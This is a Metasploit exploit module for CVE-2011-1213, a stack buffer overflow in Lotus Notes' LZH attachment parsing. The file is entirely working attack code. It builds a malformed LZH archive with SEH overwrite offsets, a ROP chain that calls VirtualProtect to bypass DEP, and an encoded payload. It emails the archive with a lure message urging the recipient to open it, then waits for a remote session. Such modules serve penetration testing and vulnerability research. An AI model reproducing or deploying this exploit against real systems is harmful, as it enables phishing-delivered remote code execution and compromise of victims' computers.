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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking # needs client interaction and permanent listener
#
# This module sends email messages via smtp
#
include Msf::Exploit::Remote::SMTPDeliver
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)',
'Description' => %q{
This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
parsing a malformed, specially crafted LZH file. This vulnerability was
discovered binaryhouse.net
},
'License' => MSF_LICENSE,
'Author' =>
[
'binaryhouse.net', # original discovery
'alino <26alino[at]gmail.com>', # Metasploit module
],
'References' =>
[
['CVE', '2011-1213'],
['OSVDB', '72706'],
['BID', '48018'],
['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
],
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => ['win'],
'Targets' =>
[
[ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
{
'Offset' => 6741,
'Ret' => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
}
],
[ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
{
'Offset' => 6745,
'Ret' => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
}
],
],
'DisclosureDate' => 'May 24 2011',
'DefaultTarget' => 0))
register_options(
[
#
# Email options
#
OptString.new('FILENAME',
[false, 'Sets the attachment file name', 'data.lzh']),
OptString.new('MESSAGE',
[false, 'Email message text', 'Important message, please view attachment!'])
])
register_advanced_options(
[
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
])
end
def exploit
header = "\x08" # Size of archived file header <-- 8 - 13 = FFFFFFF6
header << "\x1a" # 1 byte Header checksum
header << "-lh0-" # Method ID (No compression)
header << "\x7c\x1a\x00\x00" # Compressed file size
header << "\x7c\x1a\x00\x00" # Uncompressed file size
header << "\xB2\x5e\xab\x3c" # Original file date/time
header << "\x20" # File attribute
header << "\x00" # Level identifier
header << "\x07" # File name length
header << "poc.txt" # File name
header << "\x25\x7d" # 16 bit CRC of the uncompressed file
lzh = header
lzh << rand_text(target['Offset'])
if (target == targets[0])
lzh << generate_seh_record(target.ret)
lzh << make_nops(8)
lzh << payload.encoded
elsif (target == targets[1])
rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll
rop_gadgets =
[
0x60524404, # POP EAX; RETN nnotes.dll
0x7c37a140, # VirtualProtect()
0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
0x60620001, # POP EBP; RETN nnotes.dll
0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
0x7c34280f, # POP EBX; RETN MSVCR71.dll
0x00001954, # dwSize
0x780ea001, # POP ECX; RETN MSVCP60.dll
0x7c38b000, # lpflOldProtect
0x60e73200, # POP EDI; RETN nnotes.dll
0x60e73201, # RETN nnotes.dll
0x601d5f02, # POP EDX; RETN nnotes.dll
0x00000040, # flNewProtect
0x60524404, # POP EAX; RETN nnotes.dll
0x90909090, # NOP
0x60820801, # PUSHAD; RETN nnotes.dll
].pack("V*")
lzh << [target.ret].pack('V')
lzh[32, rop_nop.length] = rop_nop
lzh[220, rop_gadgets.length] = rop_gadgets
lzh[289, payload.encoded.length] = payload.encoded
end
name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10)+1) + ".lzh"
data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32)+1)
msg = Rex::MIME::Message.new
msg.mime_defaults
msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
msg.to = datastore['MAILTO']
msg.from = datastore['MAILFROM']
msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
msg.add_part_attachment(lzh, name)
send_message(msg.to_s)
print_status("Waiting for a payload session (backgrounding)...")
if not datastore['ExitOnSession'] and not job_id
fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
end
stime = Time.now.to_f
print_status "Starting the payload handler..."
while(true)
break if session_created? and datastore['ExitOnSession']
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
select(nil,nil,nil,1)
end
end
end
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